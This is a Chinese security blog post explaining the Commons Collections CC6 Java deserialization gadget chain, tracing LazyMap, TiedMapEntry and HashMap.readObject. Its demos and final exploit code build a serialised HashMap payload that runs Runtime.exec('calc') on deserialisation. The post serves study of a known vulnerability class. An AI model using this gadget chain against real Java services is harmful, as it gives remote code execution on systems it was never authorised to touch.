• Java安全 CC链6分析


    前言

    CC链6不受jdk版本与cs版本的影响,在Java安全中最为通用,并且非常简洁,非常有学习的必要,建议在学习CC链6之前先学习一下 URLDNS链 和 CC链1(LazyMap类),这样会事半功倍,更好的理解 CC链6,这里可以先看下我的这两篇文章

    Java安全
    URLDNS链分析

    Java安全
    CC链1分析(Lazymap类)

    CC链分析

    核心transform链

    这条链在CC链1中有用到,这里就不做过多解释了,具体解释可以看下我上面的两篇文章,代码如下

    package org.example;
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    public class demo1{
        public static void main(String[] args) throws Exception{
            //transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
            };
    
            //transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作
            ChainedTransformer transformerChain = new ChainedTransformer(transformers);
            transformerChain.transform(1);//完全的cc1需要找到哪里可调用transform方法
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20

    我们接下来的任务就是去找哪里调用了 transform() 方法

    Lazymap类

    我们首先还是选中 transform 方法,右键选择查找用法

    我们和CC链1相同,来到了LazyMap类,在这个类中所用到的方法也和CC1相同

    1707904996292.png

    然后查看一下 get 方法的代码,如下

        public Object get(Object key) {
            // create value for key if key is not currently in the map
            if (map.containsKey(key) == false) {
                Object value = factory.transform(key); //关键
                map.put(key, value);
                return value;
            }
            return map.get(key);
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    我们看到假如满足 map.containsKey(key) == false(map数组中不包含键 key)的话,就会执行factory.transform(key);,也就是说我们需要将 factory 变量赋值为 transformerChain(上面cc链的核心对象),然后触发其 transform 方法

    我们再来看一下 Lazymap类中的成员属性 map和factory是否可控,查看下构造方法,其代码如下

        protected LazyMap(Map map, Transformer factory) {
            super(map);
            if (factory == null) {
                throw new IllegalArgumentException("Factory must not be null");
            }
            this.factory = factory;
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    可以看到是 protected 类型的,我们无法直接通过构造方法获取这个对象,但一般的这种装饰器类都有一个 decorate 方法,可以返回一个对象,我们在这个类中找到了 decorate 方法,代码如下

        public static Map decorate(Map map, Transformer factory) {
            return new LazyMap(map, factory);
        }
    
    • 1
    • 2
    • 3

    我们可以看到其 map和factory属性是可控的,我们调用该静态方法即可获取一个LazyMap对象

    我们先写一个demo试试这里的get方法是否可以触发cc链1

    我们给map传入一个空数组,然后调用get方法的时随便传入一个值,即可触发 factory 参数(cc链核心)的transform方法,因为map是空的,所以我们无论传入什么key,map里面都不会存在

    package org.example;
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.LazyMap;
    import java.util.HashMap;
    import java.util.Map;
    public class main2{
        public static void main(String[] args) throws Exception{
            //transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
            };
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    
            HashMap<Object,Object> hash = new HashMap<>();
            Map decorate = LazyMap.decorate(hash, chainedTransformer);
            decorate.get("key");
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24

    运行demo成功弹出计算器

    1707905037709.png

    接下来我们的任务便是——哪里可以对我们的Lazymap对象调用get方法,我们选中get方法右键查看用法,由于结果太多,我们直接来到TiedMapEntry类中

    TiedMapEntry类路径

    org.apache.commons.collections.keyvalue.TiedMapEntry

    TiedMapEntry类

    我们看下TiedMapEntry类是如何调用 get方法的,代码如下

    public Object getValue() {
        return map.get(key);
    }
    
    • 1
    • 2
    • 3

    可以看到代码十分简洁,getValue() 对map变量调用了get方法,并传入了参数key,我们需要将map赋值为我们的LazyMap对象,然后key值任意

    我们去看下其构造方法,代码如下

        public TiedMapEntry(Map map, Object key) {
            super();
            this.map = map;
            this.key = key;
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5

    可以看到构造方法是公有的,我们可以直接调用构造方法生成TiedMapEntry对象,并对 map和key成员属性赋值

    然后我们在这个类中寻找哪个方法调用了getValue()方法,我们在hashCode方法中找到了对该方法的引用,方法代码如下

        public int hashCode() {
            Object value = getValue();
            return (getKey() == null ? 0 : getKey().hashCode()) ^
                   (value == null ? 0 : value.hashCode()); 
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5

    发现hashCode方法中对getValue()方法是无条件引用的,我们只需调用 hashCode方法即可,这里我们将map赋值为我们的LazyMap对象,然后key值任意,写一个由 hashCode方法触发的demo试一试

    package org.example;
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.keyvalue.TiedMapEntry;
    import org.apache.commons.collections.map.LazyMap;
    import java.util.HashMap;
    import java.util.Map;
    public class cc6 {
        public static void main(String[] args) throws Exception {
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
            };
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
            HashMap<Object, Object> hash = new HashMap<>();
            Map decorate = LazyMap.decorate(hash, chainedTransformer);
            TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, null);
            tiedMapEntry.hashCode();
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24

    可以看到成功弹出计算器

    1707905126901.png

    接下来便是寻找哪里可以对我们的TiedMapEntry对象调用hashCode方法

    强烈建议先看一下上面 URLDNS 链分析的文章

    一般我们找到hashCode方法之后,便是利用以下这条链了

    Gadget Chain:
    
        HashMap.readObject()
    
                 HashMap.putVal()
    
                         HashMap.hash()
    
                                 xxx.hashCode()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    HashMap方法

    我们直接来到 HashMap.java文件,查看HashMap类

    我们查看其 hash方法,代码如下

        static final int hash(Object key) {
            int h;
            return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
        }
    
    • 1
    • 2
    • 3
    • 4

    发现该方法对传入的参数 key 调用了hashCode方法,前提是满足key不为空

    这里key肯定不能为空,要赋值为我们的TiedMapEntry对象

    我们再找下哪里调用了 hash方法,这里来到了readObject方法,关键代码如下

    找到了 readObject方法也就意味着找到了CC链的起点

        private void readObject(java.io.ObjectInputStream s)
            throws IOException, ClassNotFoundException {
                // Read the keys and values, and put the mappings in the HashMap
                for (int i = 0; i < mappings; i++) {
                    @SuppressWarnings("unchecked")
                        K key = (K) s.readObject();
                    @SuppressWarnings("unchecked")
                        V value = (V) s.readObject();
                    putVal(hash(key), key, value, false, false);
                }
            }
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    可以看到最后一行代码,对参数 key 调用了hash方法,我们分析下key是怎么获得的

    通过以下代码可以看出定义了一个K类型的key变量,然后对反序列化的输入流进行反序列化,并把反序列化出的复制给key变量,也就是我们把 TiedMapEntry类当做传给HashMap即可

    K key = (K) s.readObject();
    
    • 1

    K类型是代表键的泛型,其定义的数据可以是任何类型,但只能作为map中的键

    最终exp

    cc链6 exp如下

    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.keyvalue.TiedMapEntry;
    import org.apache.commons.collections.map.LazyMap;
     
    import java.io.IOException;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.nio.file.Files;
    import java.nio.file.Paths;
    import java.util.HashMap;
    import java.util.Map;
     
    public class cc6 {
        public static void main(String[] args) throws IOException, ClassNotFoundException {
            //定义一系列Transformer对象,组成一个变换链
            Transformer[] transformers = new Transformer[]{
                    //返回Runtime.class
                    new ConstantTransformer(Runtime.class),
                    //通过反射调用getRuntime()方法获取Runtime对象
                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
                    //通过反射调用invoke()方法
                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                    //通过反射调用exec()方法启动calc
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
            };
            //将多个Transformer对象组合成一个链
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
     
            HashMap<Object,Object> hash = new HashMap<>();
            Map decorate = LazyMap.decorate(hash, chainedTransformer);
            TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,null);
            HashMap hashMap = new HashMap();
            hashMap.put(tiedMapEntry,"Elite");
     
            serialize(hashMap);
            unserialize("1.bin");
        }
        public static void serialize(Object obj) throws IOException {
            ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
            out.writeObject(obj);
        }
     
        public static void unserialize(String filename) throws IOException, ClassNotFoundException {
            ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
            out.readObject();
        }
     
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51

    经测试成功弹出计算器

    1707905158663.png

  • 相关阅读:
    得到 K 个黑块的最少涂色次数
    软考高级信息系统项目管理师如何准备论文?
    GAN模型1
    好数组——尺取法
    Python实现酷炫的动态交互式数据可视化,附代码
    Linux之NFS服务器
    RabbitMQ中的死信队列产生的几个条件和应用场景
    为什么要学习 Linux?
    并发编程 - 并发可见性,原子性,有序性 与 JMM内存模型
    flex布局
  • 原文地址:https://blog.csdn.net/Elite__zhb/article/details/136114757